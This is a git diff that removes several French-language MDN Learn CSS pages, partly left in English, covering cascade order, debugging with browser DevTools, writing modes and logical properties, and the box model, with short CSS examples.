Enfin, il est également utile de noter que l'importance d'une déclaration CSS dépend de la feuille de style dans laquelle elle est spécifiée — il est possible pour les utilisateurs de définir des feuilles de style personnalisées pour remplacer les styles du développeur, par exemple si un utilisateur est malvoyant, il peut vouloir doubler la taille de la police sur toutes les pages web visitées afin de faciliter la lecture.

- -

En résumé

- -

Les déclarations en conflit seront appliquées dans l'ordre suivant, les déclarations ultérieures remplaçant les déclarations antérieures :

- -
    -
  1. Déclarations dans les feuilles de style de l'agent utilisateur (par exemple, les styles par défaut du navigateur, utilisés lorsqu'aucun autre style n'est défini).
    2. -
  2. Déclarations normales dans les feuilles de style utilisateur (styles personnalisés définis par un utilisateur).
    3. -
  3. Déclarations normales dans les feuilles de style d'auteur (ce sont les styles définis par nous, les développeurs web).
    4. -
  4. Déclarations !important dans les feuilles de style d'auteur.
    5. -
  5. Déclarations !important dans les feuilles de style utilisateur.
    6. -
- -

Il est logique que les feuilles de style des développeurs web remplacent les feuilles de style utilisateur, de sorte que la conception peut être conservée comme prévu, mais parfois, les utilisateurs ont de bonnes raisons de remplacer les styles des développeur web, comme mentionné ci-dessus — cela peut être réalisé en utilisant !important dans leurs règles.

- -

Activité : jouer dans la cascade

- -

Dans cette activité, nous vous engageons à tenter l'expérience suivante : écrire une règle redéfinissant les couleurs de police et de fond pour les liens par défaut. La contrainte est de réinitialiser la couleur d'arrière-plan en blanc sans utiliser de valeur <color>. Vous pouvez par contre utiliser l'une des valeurs spéciales que nous avons examinées dans la section {{anch("Contrôler_lhéritage")}} dans une nouvelle règle.

- -

Si vous faites une erreur, vous pouvez toujours remettre à zéro l'exemple live à l'aide du bouton Reset. Si vous êtes vraiment coincé, jetez un coup d'œil à la solution ici.

- -

{{EmbedGHLiveSample("css-examples/learn/cascade/task.html", '100%', 700)}}

- -

À suivre

- -

Si vous avez compris cet article, alors, bravo — vous commencez à appréhender les mécanismes fondamentaux de CSS. L'étape suivante est une étude détaillée des sélecteurs.

- -

Si la cascade, la spécificité et l'héritage gardent encore de leur mystère, pas de panique ! C'est vraiment le point le plus compliqué qu'on ait abordé depuis le début de ce cours, et même les web developers professionnels s'y cassent parfois les dents. Notre avis : poursuivez le cours et revenez régulièrement lire cet article, continuez à y réfléchir.

- -

En particulier quand vous rencontrez des comportements étranges où vos règles de style ne s'appliquent pas, revenez ici. Ce pourrait être un problème de spécificité.

- -

{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}

- -

Dans ce cours

- -
    -
  1. Cascade and inheritance
    2. -
  2. CSS selectors - -
    3. -
  3. The box model
    4. -
  4. Backgrounds and borders
    5. -
  5. Handling different text directions
    6. -
  6. Overflowing content
    7. -
  7. Values and units
    8. -
  8. Sizing items in CSS
    9. -
  9. Images, media, and form elements
    10. -
  10. Styling tables
    11. -
  11. Debugging CSS
    12. -
  12. Organizing your CSS
    13. -
diff --git a/files/fr/apprendre/css/building_blocks/debugging_css/index.html b/files/fr/apprendre/css/building_blocks/debugging_css/index.html deleted file mode 100644 index 01f17c25a5..0000000000 --- a/files/fr/apprendre/css/building_blocks/debugging_css/index.html +++ /dev/null @@ -1,202 +0,0 @@ ---- -title: Debugging CSS -slug: Apprendre/CSS/Building_blocks/Debugging_CSS -translation_of: Learn/CSS/Building_blocks/Debugging_CSS ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}
- -

Parfois, quand vous écrirez du CSS, vous rencontrerez un problème où votre CSS semblera ne pas se comporter comme vous vous y attendrez. Peut-être que vous croirez qu'un certain sélecteur devrait être lié à un élément, mais rien ne se passe, ou une box aura une taille différente de ce que vous espérerez. Cet article vous donnera une ligne directrice pour débeuguer un problème CSS, et vous montrera comment les DevTools (outils de développeur) inclus dans tous les navigateurs modernes peuvent vous aider à comprendre ce qui se passe.

- - - - - - - - - - - - -
Prerequisites:Basic computer literacy, basic software installed, basic knowledge of working with files, HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps.)
Objective:To learn the basics of what browser DevTools are, and how to do simple inspection and editing of CSS.
- -

Comment accéder aux outils de développement du navigateur

- -

L'article Que sont les outils de développement de navigateurs est un guide maintenu à jour qui explique comment accéder aux outils dans différents navigateurs et plateformes. Alors que vous pouvez choisir de développer le plus souvent sur un navigateur en particulier, et donc de devenir plus familier avec les outils inclus dans ce navigateur, il est important de savoir comment accéder à ces outils dans d'autres navigateurs. Cela vous aidera si vous voyez des rendus différents entre plusieurs navigateurs.

- -

You will also find that browsers have chosen to focus on different areas when creating their DevTools. For example in Firefox there are some excellent tools for working visually with CSS Layout, allowing you to inspect and edit Grid Layouts, Flexbox, and Shapes. However, all of the different browsers have similar fundamental tools, e.g. for inspecting the properties and values applied to elements on your page, and making changes to them from the editor.

- -

In this lesson we will look at some useful features of the Firefox DevTools for working with CSS. In order to do so I'll be using an example file. Load this up in a new tab if you want to follow along, and open up your DevTools as described in the article linked above.

- -

The DOM versus view source

- -

Something that can trip up newcomers to DevTools is the difference between what you see when you view the source of a webpage, or look at the HTML file you put on the server, and what you can see in the HTML Pane of the DevTools. While it looks roughly similar to what you can see via View Source there are some differences.

- -

In the rendered DOM the browser may have corrected some badly-written HTML for you. If you incorrectly closed an element, for instance opening an <h2> but closing with an </h3>, the browser will figure out what you were meaning to do and the HTML in the DOM will correctly close the open <h2> with an </h2>. The browser will also normalize all of the HTML, and the DOM will also show any changes made by JavaScript.

- -

View Source in comparison, is simply the HTML source code as stored on the server. The HTML tree in your DevTools shows exactly what the browser is rendering at any given time, so it gives you an insight into what is really going on.

- -

Inspecting the applied CSS

- -

Select an element on your page, either by right/ctrl-clicking on it and selecting Inspect, or selecting it from the HTML tree on the left of the DevTools display. Try selecting the element with the class of box1; this is the first element on the page with a bordered box drawn around it.

- -

The example page for this tutorial with DevTools open.

- -

If you look at the Rules view to the right of your HTML, you should be able to see the CSS properties and values applied to that element. You will see the rules directly applied to class box1 and also the CSS that is being inherited by the box from its ancestors, in this case to <body>. This is useful if you are seeing some CSS being applied that you didn't expect. Perhaps it is being inherited from a parent element and you need to add a rule to overwrite it in the context of this element.

- -

Also useful is the ability to expand out shorthand properties. In our example the margin shorthand is used.

- -

Click on the little arrow to expand the view, showing the different longhand properties and their values.

- -

You can toggle values in the Rules view on and off, when that panel is active — if you hold your mouse over it checkboxes will appear. Uncheck a rule's checkbox, for example border-radius, and the CSS will stop applying.

- -

You can use this to do an A/B comparison, deciding if something looks better with a rule applied or not, and also to help debug it — for example if a layout is going wrong and you are trying to work out which property is causing the problem.

- -

The following video provides some useful tips on debugging CSS using the Firefox DevTools:

- -

{{EmbedYouTube("O3DAm82vIvU")}}

- -

Editing values

- -

In addition to turning properties on and off, you can edit their values. Perhaps you want to see if another color looks better, or wish to tweak the size of something? DevTools can save you a lot of time editing a stylesheet and reloading the page.

- -

With box1 selected, click on the swatch (the small colored circle) that shows the color applied to the border. A color picker will open up and you can try out some different colors; these will update in real time on the page. In a similar fashion, you could change the width or style of the border.

- -

DevTools Styles Panel with a color picker open.

- -

Adding a new property

- -

You can add properties using the DevTools. Perhaps you have realised that you don't want your box to inherit the <body> element's font size, and want to set its own specific size? You can try this out in DevTools before adding it to your CSS file.

- -

You can click the closing curly brace in the rule to start entering a new declaration into it, at which point you can start typing the new property and DevTools will show you an autocomplete list of matching properties. After selecting font-size, enter the value you want to try. You can also click the + button to add an additional rule with the same selector, and add your new rules there.

- -

The DevTools Panel, adding a new property to the rules, with the autocomplete for font- open

- -
-

Note: There are other useful features in the Rules view too, for example declarations with invalid values are crossed out. You can find out more at Examine and edit CSS.

-
- -

Understanding the box model

- -

In previous lessons we have discussed the Box Model, and the fact that we have an alternate box model that changes how the size of elements are calculated based on the size you give them, plus the padding and borders. DevTools can really help you to understand how the size of an element is being calculated.

- -

The Layout view shows you a diagram of the box model on the selected element, along with a description of the properties and values that change how the element is laid out. This includes a description of properties that you may not have explicitly used on the element, but which do have initial values set.

- -

In this panel, one of the detailed properties is the box-sizing property, which controls what box model the element uses.

- -

Compare the two boxes with classes box1 and box2. They both have the same width applied (400px), however box1 is visually wider. You can see in the layout panel that it is using content-box. This is the value that takes the size you give the element and then adds on the padding and border width.

- -

The element with a class of box2 is using border-box, so here the padding and border is subtracted from the size that you have given the element. This means that the space taken up on the page by the box is the exact size that you specified — in our case width: 400px.

- -

The Layout section of the DevTools

- -
-

Note: Find out more in Examining and Inspecting the Box Model.

-
- -

Solving specificity issues

- -

Sometimes during development, but in particular when you need to edit the CSS on an existing site, you will find yourself having a hard time getting some CSS to apply. No matter what you do, the element just doesn't seem to take the CSS. What is generally happening here is that a more specific selector is overriding your changes, and here DevTools will really help you out.

- -

In our example file there are two words that have been wrapped in an <em> element. One is displaying as orange and the other hotpink. In the CSS we have applied:

- -
em {
-  color: hotpink;
-  font-weight: bold;
-}
- -

Above that in the stylesheet however is a rule with a .special selector:

- -
.special {
-  color: orange;
-}
- -

As you will recall from the lesson on cascade and inheritance where we discussed specificity, class selectors are more specific than element selectors, and so this is the value that applies. DevTools can help you find such issues, especially if the information is buried somewhere in a huge stylesheet.

- -

Inspect the <em> with the class of .special and DevTools will show you that orange is the color that applies, and also shows you the color property applied to the em crossed out. You can now see that the class is overriding the element selector.

- -

Selecting an em and looking at DevTools to see what is over-riding the color.

- -

Find out more about the Firefox DevTools

- -

There is a lot of information about the Firefox DevTools here on MDN. Take a look at the main DevTools section, and for more detail on the things we have briefly covered in this lesson see The How To Guides.

- -

Debugging problems in CSS

- -

DevTools can be a great help when solving CSS problems, so when you find yourself in a situation where CSS isn't behaving as you expect, how should you go about solving it? The following steps should help.

- -

Take a step back from the problem

- -

Any coding problem can be frustrating, especially CSS problems because you often don't get an error message to search for online to help with finding a solution. If you are becoming frustrated, take a step away from the issue for a while — go for a walk, grab a drink, chat to a co-worker, or work on some other thing for a while. Sometimes the solution magically appears when you stop thinking about the problem, and even if not, working on it when feeling refreshed will be much easier.

- -

Do you have valid HTML and CSS?

- -

Browsers expect your CSS and HTML to be correctly written, however browsers are also very forgiving and will try their best to display your webpages even if you have errors in the markup or stylesheet. If you have mistakes in your code the browser needs to make a guess at what you meant, and it might make a different decision to what you had in mind. In addition, two different browsers might cope with the problem in two different ways. A good first step therefore is to run your HTML and CSS through a validator, to pick up and fix any errors.

- - - -

Is the property and value supported by the browser you are testing in?

- -

Browsers simply ignore CSS they don't understand. If the property or value you are using is not supported by the browser you are testing in then nothing will break, but that CSS won't be applied. DevTools will generally highlight unsupported properties and values in some way. In the screenshot below the browser does not support the subgrid value of {{cssxref("grid-template-columns")}}.

- -

Image of browser DevTools with the grid-template-columns: subgrid crossed out as the subgrid value is not supported.

- -

You can also take a look at the Browser compatibility tables at the bottom of each property page on MDN. These show you browser support for that property, often broken down if there is support for some usage of the property and not others. The below table shows the compat data for the {{cssxref("shape-outside")}} property.

- -

{{compat("css.shape-outside")}}

- -

Is something else overriding your CSS?

- -

This is where the information you have learned about specificity will come in very useful. If you have something more specific overriding what you are trying to do, you can enter into a very frustrating game of trying to work out what. However, as described above, DevTools will show you what CSS is applying and you can work out how to make the new selector specific enough to override it.

- -

Make a reduced test case of the problem

- -

If the issue isn't solved by the steps above, then you will need to do some more investigating. The best thing to do at this point is to create something known as a reduced test case. Being able to "reduce an issue" is a really useful skill. It will help you find problems in your own code and that of your colleagues, and will also enable you to report bugs and ask for help more effectively.

- -

A reduced test case is a code example that demonstrates the problem in the simplest possible way, with unrelated surrounding content and styling removed. This will often mean taking the problematic code out of your layout to make a small example which only shows that code or feature.

- -

To create a reduced test case:

- -
    -
  1. If your markup is dynamically generated — for example via a CMS — make a static version of the output that shows the problem. A code sharing site like CodePen is useful for hosting reduced test cases, as then they are accessible online and you can easily share them with colleagues. You could start by doing View Source on the page and copying the HTML into CodePen, then grab any relevant CSS and JavaScript and include it too. After that, you can check whether the issue is still evident.
    2. -
  2. If removing the JavaScript does not make the issue go away, don't include the JavaScript. If removing the JavaScript does make the issue go away, then remove as much JavaScript as you can, leaving in whatever causes the issue.
    3. -
  3. Remove any HTML that does not contribute to the issue. Remove components or even main elements of the layout. Again, try to get down to the smallest amount of code that still shows the issue.
    4. -
  4. Remove any CSS that doesn't impact the issue.
    5. -
- -

In the process of doing this, you may discover what is causing the problem, or at least be able to turn it on and off by removing something specific. It is worth adding some comments to your code as you discover things. If you need to ask for help, they will show the person helping you what you have already tried. This may well give you enough information to be able to search for likely sounding problems and workarounds.

- -

If you are still struggling to fix the problem then having a reduced test case gives you something to ask for help with, by posting to a forum, or showing to a co-worker. You are much more likely to get help if you can show that you have done the work of reducing the problem and identifying exactly where it happens, before asking for help. A more experienced developer might be able to quickly spot the problem and point you in the right direction, and even if not, your reduced test case will enable them to have a quick look and hopefully be able to offer at least some help.

- -

In the instance that your problem is actually a bug in a browser, then a reduced test case can also be used to file a bug report with the relevant browser vendor (e.g. on Mozilla's bugzilla site).

- -

As you become more experienced with CSS, you will find that you get faster at figuring out issues. However even the most experienced of us sometimes find ourselves wondering what on earth is going on. Taking a methodical approach, making a reduced test case, and explaining the issue to someone else will usually result in a fix being found.

- -

{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}

- -

In this module

- -
    -
  1. Cascade and inheritance
    2. -
  2. CSS selectors - -
    3. -
  3. The box model
    4. -
  4. Backgrounds and borders
    5. -
  5. Handling different text directions
    6. -
  6. Overflowing content
    7. -
  7. Values and units
    8. -
  8. Sizing items in CSS
    9. -
  9. Images, media, and form elements
    10. -
  10. Styling tables
    11. -
  11. Debugging CSS
    12. -
  12. Organizing your CSS
    13. -
diff --git a/files/fr/apprendre/css/building_blocks/handling_different_text_directions/index.html b/files/fr/apprendre/css/building_blocks/handling_different_text_directions/index.html deleted file mode 100644 index 7469a614ce..0000000000 --- a/files/fr/apprendre/css/building_blocks/handling_different_text_directions/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: Handling different text directions -slug: Apprendre/CSS/Building_blocks/Handling_different_text_directions -translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}
- -

Beaucoup des propriétés et des valeurs que nous avons rencontrées jusqu'ici dans notre apprentissage du CSS ont été associées aux dimensions physiques de notre écran. Nous créons des bordues en haut, à droite, en bas et à gauche d'une box, par exemple. Ces dimensions physiques s'accordent très bien au contenu qui est visionné horizontalement, et par défaut le web à tendance à mieux supporter les langues qui se lisent de gauche à droite (par exemple l'anglais ou le Français) que celles qui se lisent de droite à gauche (comme l'Arabe).

- -

Ces dernières années cependant, le CSS a évolué pour supporter du contenu orienté dans différentes directions, comme la droite vers la gauche, mais également le haut vers le bas (comme le Japonais) — Ces différentes directionnalités sont appelées writing modes (modes d'écriture en français). En progressant dans votre apprentissage et en travaillant sur l'agencement, une compréhension des modes d'écriture vous sera très utile, donc nous allons vous les présenter maintenant.

- - - - - - - - - - - - -
Prerequisites:Basic computer literacy, basic software installed, basic knowledge of working with files, HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps.)
Objective:To understand the importance of writing modes to modern CSS.
- -

Que sont les modes d'écritures?

- -

Un mode d'écriture en CSS fait référence au sens d'écriture du texte, soit horizontalement, soit verticalement. La propriété {{cssxref("writing-mode")}} nous permet de passer d'un mode d'écriture à un autre. Vous n'avez pas besoin de travailler dans une langue qui utilise un mode d'écriture vertical pour vouloir l'utiliser — vous pourriez aussi changer le mode d'écriture de certaines parties de votre agencement dans un but créatif.

- -

Dans l'exemple ci-dessous nous avons un titre affiché qui utilise writing-mode: vertical-rl. Le texte est maintenant affiché verticalement. Les textes verticaux sont communs dans le design graphique, et peuvent être un moyen pour ajouter un look plus intéressant à votre design web.

- -

{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}

- -

Les trois valeurs possibles pour la propriété writing-mode sont:

- - - -

So the writing-mode property is in reality setting the direction in which block-level elements are displayed on the page — either from top-to-bottom, right-to-left, or left-to-right. This then dictates the direction text flows in sentences.

- -

Writing modes and block and inline layout

- -

We have already discussed block and inline layout, and the fact that some things display as block elements and others as inline elements. As we have seen described above, block and inline is tied to the writing mode of the document, and not the physical screen. Blocks are only displayed from the top to the bottom of the page if you are using a writing mode that displays text horizontally, such as English.

- -

If we look at an example this will become clearer. In this next example I have two boxes that contain a heading and a paragraph. The first uses writing-mode: horizontal-tb, a writing mode that is written horizontally and from the top of the page to the bottom. The second uses writing-mode: vertical-rl; this is a writing mode that is written vertically and from right to left.

- -

{{EmbedGHLiveSample("css-examples/learn/writing-modes/block-inline.html", '100%', 1200)}}

- -

When we switch the writing mode, we are changing which direction is block and which is inline. In a horizontal-tb writing mode the block direction runs from top to bottom; in a vertical-rl writing mode the block direction runs right-to-left horizontally. So the block dimension is always the direction blocks are displayed on the page in the writing mode in use. The inline dimension is always the direction a sentence flows.

- -

This figure shows the two dimensions when in a horizontal writing mode.Showing the block and inline axis for a horizontal writing mode.

- -

This figure shows the two dimensions in a vertical writing mode.

- -

Showing the block and inline axis for a vertical writing mode.

- -

Once you start to look at CSS layout, and in particular the newer layout methods, this idea of block and inline becomes very important. We will revisit it later on.

- -

Direction

- -

In addition to writing mode we also have text direction. As mentioned above, some languages such as Arabic are written horizontally, but right-to-left. This is not something you are likely to use in a creative sense — if you simply want to line something up on the right there are other ways to do so — however it is important to understand this as part of the nature of CSS. The web is not just for languages that are displayed left-to-right!

- -

Due to the fact that writing mode and direction of text can change, newer CSS layout methods do not refer to left and right, and top and bottom. Instead they will talk about start and end along with this idea of inline and block. Don't worry too much about that right now, but keep these ideas in mind as you start to look at layout; you will find it really helpful in your understanding of CSS.

- -

Logical properties and values

- -

The reason to talk about writing modes and direction at this point in your learning however, is because of the fact we have already looked at a lot of properties which are tied to the physical dimensions of the screen, and make most sense when in a horizontal writing mode.

- -

Let's take a look at our two boxes again — one with a horizontal-tb writing mode and one with vertical-rl. I have given both of these boxes a {{cssxref("width")}}. You can see that when the box is in the vertical writing mode, it still has a width, and this is causing the text to overflow.

- -

{{EmbedGHLiveSample("css-examples/learn/writing-modes/width.html", '100%', 1200)}}

- -

What we really want in this scenario, is to essentially swap height and width along with the writing mode. When we're in a vertical writing mode we want the box to expand in the block dimension just like it does in the horizontal mode.

- -

To make this easier, CSS has recently developed a set of mapped properties. These essentially replace physical properties — things like width and height — with logical, or flow relative versions.

- -

The property mapped to width when in a horizontal writing mode is called {{cssxref("inline-size")}} — it refers to the size in the inline dimension. The property for height is named {{cssxref("block-size")}} and is the size in the block dimension. You can see how this works in the example below where we have replaced width with inline-size.

- -

{{EmbedGHLiveSample("css-examples/learn/writing-modes/inline-size.html", '100%', 1200)}}

- -

Logical margin, border, and padding properties

- -

In the last two lessons we have learned about the CSS box model, and CSS borders. In the margin, border, and padding properties you will find many instances of physical properties, for example {{cssxref("margin-top")}}, {{cssxref("padding-left")}}, and {{cssxref("border-bottom")}}. In the same way that we have mappings for width and height there are mappings for these properties.

- -

The margin-top property is mapped to {{cssxref("margin-block-start")}} — this will always refer to the margin at the start of the block dimension.

- -

The {{cssxref("padding-left")}} property maps to {{cssxref("padding-inline-start")}}, the padding that is applied to the start of the inline direction. This will be where sentences start in that writing mode. The {{cssxref("border-bottom")}} property maps to {{cssxref("border-block-end")}}, which is the border at the end of the block dimension.

- -

You can see a comparison between physical and logical properties below.

- -

If you change the writing mode of the boxes by switching the writing-mode property on .box to vertical-rl, you will see how the physical properties stay tied to their physical direction, whereas the logical properties switch with the writing mode.

- -

You can also see that the {{htmlelement("h2")}} has a black border-bottom. Can you work out how to make that bottom border always go below the text in both writing modes?

- -

{{EmbedGHLiveSample("css-examples/learn/writing-modes/logical-mbp.html", '100%', 1200)}}

- -

There are a huge number of properties when you consider all of the individual border longhands, and you can see all of the mapped properties on the MDN page for Logical Properties and Values.

- -

Logical values

- -

We have so far looked at logical property names. There are also some properties that take physical values of top, right, bottom, and left. These values also have mappings, to logical values — block-start, inline-end, block-end, and inline-start.

- -

For example, you can float an image left to cause text to wrap round the image. You could replace left with inline-start as shown in the example below.

- -

Change the writing mode on this example to vertical-rl to see what happens to the image. Change inline-start to inline-end to change the float.

- -

{{EmbedGHLiveSample("css-examples/learn/writing-modes/float.html", '100%', 1200)}}

- -

Here we are also using logical margin values to ensure the margin is in the correct place no matter what the writing mode is.

- -
-

Currently, only Firefox supports flow relative values  for float. If you are using Google Chrome or Microsoft Edge, you may find that the image did not float.

-
- -

Should you use physical or logical properties?

- -

The logical properties and values are newer than their physical equivalents, and therefore have only recently been implemented in browsers. You can check any property page on MDN to see how far back the browser support goes. If you are not using multiple writing modes then for now you might prefer to use the physical versions. However, ultimately we expect that people will transition to the logical versions for most things, as they make a lot of sense once you start also dealing with layout methods such as flexbox and grid.

- -

Test your skills!

- -

We have covered a lot in this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on — see Test your skills: writing modes.

- -

Summary

- -

The concepts explained in this lesson are becoming increasingly important in CSS. An understanding of the block and inline direction — and how text flow changes with a change in writing mode — will be very useful going forward. It will help you in understanding CSS even if you never use a writing mode other than a horizontal one.

- -

In the next module we will take a good look at overflow in CSS.

- -

{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}

- -

In this module

- -
    -
  1. Cascade and inheritance
    2. -
  2. CSS selectors - -
    3. -
  3. The box model
    4. -
  4. Backgrounds and borders
    5. -
  5. Handling different text directions
    6. -
  6. Overflowing content
    7. -
  7. Values and units
    8. -
  8. Sizing items in CSS
    9. -
  9. Images, media, and form elements
    10. -
  10. Styling tables
    11. -
  11. Debugging CSS
    12. -
  12. Organizing your CSS
    13. -
diff --git a/files/fr/apprendre/css/building_blocks/index.html b/files/fr/apprendre/css/building_blocks/index.html deleted file mode 100644 index 37ab79216a..0000000000 --- a/files/fr/apprendre/css/building_blocks/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Blocs de base en CSS -slug: Apprendre/CSS/Building_blocks -tags: - - CSS - - Débutant - - Tutoriel -translation_of: Learn/CSS/Building_blocks ---- -
{{LearnSidebar}}
- -

Ce cours fait suite aux premiers pas avec CSS : vous avez déjà acquis une bonne familiarité avec le langage et sa syntaxe, avec déjà des expériences d'utilisation de CSS. Il est donc temps d'approfondir le sujet. On examine ici les principes de cascade et d’héritage, tous les types de sélecteurs à notre disposition, les unités, le dimensionnement, les arrière-plans de style et les limites, le débogage, et bien d'autres choses.
-
- L'objectif est d'introduire les outils qui feront de vous un utilisateur CSS compétent avec une bonne compréhension du cœur de la théorie CSS. Nous étudierons plus tard des sujets plus spécifiques comme le style de texte et la mise en page CSS.

- -

Prérequis

- -

Avant de commencer ce cours, nous vous recommandons :

- -
    -
  1. D'être familiarisé avec l'usage des ordinateurs et avec la navigation sur internet.
    2. -
  2. De disposer d'un environnement de travail comme il est décrit dans l'article installation des outils de base et de savoir créer et gérer des fichiers (cf. leçon gérer les fichiers).
    3. -
  3. D'être suffisamment à votre aise avec HTML (voir le cours introduction au HTML).
    4. -
  4. D'avoir compris les bases du CSS telles qu'exposées dans le cours premiers pas avec CSS.
    5. -
- -
-

Note : Si vous travaillez sur un ordinateur, une tablette ou tout autre appareil sur lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous pourrez tester (la plupart) des exemples de code dans un site de programmation en ligne comme JSBin ou Thimble.

-
- -

Guides

- -

Les articles qui composent ce module traitent la majeure partie du langage CSS. En les parcourant, vous découvrirez de nombreux exercices qui vous permettront d'évaluer votre bonne compréhension.

- -
-

Note : Les articles dont le titre apparaît en anglais ne sont pas encore traduits au moment de la traduction de la page que vous lisez.

-
- -
-
Cascade and inheritance (Cascade et héritage)
-
Le but de cette leçon est de vous permettre d'acquérir des concepts fondamentaux du CSS : la cascade, la spécificité et l'héritage... et ainsi d'apprendre comment le CSS s'applique au HTML, et comment les conflits se résolvent.
-
CSS selectors (sélecteurs CSS)
-
Il y a une large palette de sélecteurs CSS disponibles permettant avec une fine granularité de désigner les éléments auxquels appliquer des styles. Dans cet article, nous verrons avec moult détails comment ces différents types de sélecteurs fonctionnent, au travers de plusieurs parties : - -
-
The box model (le modèle des boîtes)
-
Tout en CSS a une boîte autour de lui, et comprendre ces boîtes est la clef pour être capable de créer des mises en page avec CSS, ou d'aligner des éléments avec d'autres. Dans cette leçon, nous nous attarderons sur le modèle de boîte CSS, afin que vous puissiez passer à des mises en page plus complexes grâce à une meilleure compréhension du fonctionnement et de la terminologie.
-
Backgrounds and borders (arrières-plans et bordures)
-
Dans cette leçon, nous illustrerons des usages créatifs des arrières-plans et bordures en CSS. Des dégradés, des images de fond, des coins arrondis.... les arrières plans et les bordures sont les réponses à de nombreuses questions de style en CSS.
-
Handling different text directions (manipuler les différentes directions du texte)
-
Ces dernières années, le CSS a évolué afin de permettre aux contenus de prendre des directions différentes ; pas seuleument de droite à gauche mais aussi de haut en bas (comme au Japon) ; ces différentes directions sont appelées modes d'écriture (writing modes). Comme vous progressez dans l'étude du CSS et commencez à travailler la mise en page, la compréhension des modes d'écriture vous sera fort utile, c'est pour cela que nous vous les présentons dans cet article. .
-
Overflowing content (quand ça dépasse)
-
Autre concept important du CSS: le dépassement (overflow) : c'est ce qui se passe quand il y a trop de contenu pour qu'il puisse tenir dans la boîte. Dans cette leçon, vous apprendrez comment le gérer.
-
Values and units (valeurs et unités)
-
Toute propriété utilisée en CSS dispose de valeurs ou d'ensembles de valeurs autorisées pour cette propriété. Dans cette leçon, nous aborderons les valeurs et unités les plus communément utilisées.
-
Sizing items in CSS (dimensionner les éléments en CSS)
-
Dans plusieurs leçons précédentes, vous avez abordé plusieurs façons de dimensionner de nombreux éléments d'une page web en utilisant le CSS. Comprendre pour anticiper les tailles des composants de votre design est important. Dans cette leçon nous résumerons par quels différents biais les éléments sont dimensionnés en CSS et définirons quelques termes qui vous aideront à l'avenir.
-
Images, media, and form elements (images, médias et éléments de formulaires)
-
Dans cet article, nous verrons comment des éléments particuliers sont traités en CSS. Les images, les autres médias, ou encore le éléments de formulaires se comportent légèrement différement des boîtes habituelles lorsque vous souhaitez leur appliquer un style CSS. Comprendre ce qu'il est possible ou non de faire vous évitera d'éventuelles déceptions cette leçon soulignera ce qu'il vous faut savoir.
-
Mise en page des tableaux
-
Styliser un tableau HTML n'est pas le travail qui fait rêver, mais vous pouvez parfois avoir à le faire. Cet article vous guide pour réussir l'apparence de vos tableaux en soulignant les techniques spécifiques applicables.
-
Debugging CSS (déboguer le CSS)
-
Parfois, lorsque vous écrivez du CSS, le résultat n'est pas ce que vous attendiez. Cet article vous guidera pour déboguer un problème de CSS en vous montrant comment utiliser les outils de développement contenus dans tout navigateur moderne pour vous aider à trouver ce qui se passe.
-
Organizing your CSS (organiser votre CSS)
-
Au fur et à mesure que vous travaillerez sur des feuilles de style de plus en plus longues et des projets de plus en plus volumineux, vous découvrirez que maintenir un énorme fichier CSS peut être problématique. Dans cet article, nous aborderons les bonnes pratiques pour écrire votre CSS, le rendre facile à maintenir, et d'autres solutions pouvant vous aider à améliorer cette maintenabilité.
-
- -

Voir aussi

- -
-
Effets de boîte avancés
-
Cet article est un "trucs et astuces" vous fournissant un aperçu de fonctionnalités intéressantes comme l'ombre des boîtes, les mélanges de couleurs ou les filtres.
-
diff --git a/files/fr/apprendre/css/building_blocks/le_modele_de_boite/index.html b/files/fr/apprendre/css/building_blocks/le_modele_de_boite/index.html deleted file mode 100644 index 927bbdc232..0000000000 --- a/files/fr/apprendre/css/building_blocks/le_modele_de_boite/index.html +++ /dev/null @@ -1,354 +0,0 @@ ---- -title: Le modèle de Boîte -slug: Apprendre/CSS/Building_blocks/Le_modele_de_boite -tags: - - Boîte - - CSS - - Disposition - - Débutant - - Mise en page - - Model - - Modèle - - Position - - Positionnement - - border - - box - - display - - margin - - padding -translation_of: Learn/CSS/Building_blocks/The_box_model ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}
- -

En CSS, tout élement est inclus dans une boîte ("box" en anglais). Comprendre le fonctionnement de ces boîtes est essentiel pour maîtriser la mise en page CSS ainsi que le positionement des élements d'une page HTML. Dans cette leçon, nous verrons en détails le Modèle de Boîtes CSS - son fonctionnement ainsi que sa terminologie - pour vous permettre de réaliser des mises en pages plus complexes.

- - - - - - - - - - - - -
Prérequis:Compétences informatique basiques, Logiciels de base installés, connaissance simple en manipulation de fichiers, les bases du HTML (voir Introduction au HTML), et une esquisse du fonctionnement du CSS (voir premiers pas en CSS).
Objectif:Apprendre les principes du Modèle de Boîte en CSS, ce qui constitue le Modèle de Boîte et comment passer au modèle alternatif.
- -

Les Boîtes "en ligne" et "en bloc"

- -

En CSS, il existe deux type de boîtes : les boîtes en bloc ("block boxes" en anglais) et les boîtes en ligne ("inline boxes"). Ces deux qualifications renvoient au comportement de la boîte au sein de la page et vis à vis des autres boîtes :

- -

Si une boîte est définie en bloc, elle suivra alors les règles suivantes :

- - - -

À moins que l'on ne décide de changer le type de positionnement de la boîte en "en ligne", certains éléments tels que les titres (<h1>,<h2>, etc.) et les paragraphes (<p>) utilisent le mode "bloc" comme propriété de positionnement extérieur par défaut.

- -

Si une boîte est positionnée en ligne, alors :

- - - -

